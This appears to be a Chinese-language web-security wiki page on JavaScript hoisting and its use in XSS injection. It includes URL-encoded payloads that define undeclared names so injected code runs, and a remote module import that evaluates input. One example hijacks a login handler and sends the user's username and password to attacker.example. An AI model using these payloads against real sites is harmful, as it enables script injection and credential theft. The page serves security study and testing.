JS Hoisting

Reading time: 8 minutes

基本信息

在 JavaScript 语言中，有一种被称为 Hoisting 的机制，变量、函数、类或 import 的声明会在代码执行前概念上被提升到其作用域的顶部。这个过程由 JavaScript 引擎自动执行，运行时会对脚本进行多次遍历。

在第一次遍历中，引擎会解析代码以检查语法错误并将其转换为抽象语法树。此阶段包括 hoisting，一个将某些声明移动到执行上下文顶部的过程。如果解析阶段成功（即没有语法错误），脚本执行将继续。

必须理解的是：

1. 脚本必须没有语法错误才能执行。必须严格遵守语法规则。
2. 由于 hoisting，代码在脚本中的位置会影响执行，尽管实际执行的代码可能与其文本表示不同。

Hoisting 的类型

根据 MDN 的信息，JavaScript 中有四种不同类型的 hoisting：

1. Value Hoisting：允许在声明行之前在其作用域内使用变量的值。
2. Declaration Hoisting：允许在声明之前在其作用域内引用变量而不会导致 ReferenceError，但变量的值将是 undefined。
3. 这种类型会因变量在其真实声明行之前被声明而改变其作用域内的行为。
4. 声明的副作用会在包含该声明的其余代码被求值之前发生。

详细来说，函数声明表现出类型 1 的 hoisting 行为。var 关键字表现为类型 2。词法声明（lexical declarations），包括 let、const 和 class，表现出类型 3。最后，import 语句是独特的，因为它们以类型 1 和类型 4 的行为被提升。

场景

因此，如果你遇到可以在未声明的对象被使用之后 Inject JS code after an undeclared object 的场景，你可以通过声明它来 fix the syntax（这样你的代码就会被执行而不是抛出错误）：

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)

// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);

// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);

// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

更多场景

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)

// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };

// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

通过 const 锁定名称来抢先阻止后续声明

如果你能在顶层的 function foo(){...} 被解析之前执行，使用相同名称声明一个词法绑定（例如，const foo = ...）将阻止后续的函数声明重新绑定该标识符。这可以在 RXSS 中被滥用，以劫持页面稍后定义的关键处理器：

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

注意

• 这依赖于执行顺序和全局（顶层）作用域。
• 如果你的 payload 在 eval() 内被执行，请记住 eval 内的 const/let 是块级作用域，不会创建全局绑定。注入一个新的 <script> 元素，包含用于建立真正全局 const 的代码。

References

• https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
• https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
• https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
• From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough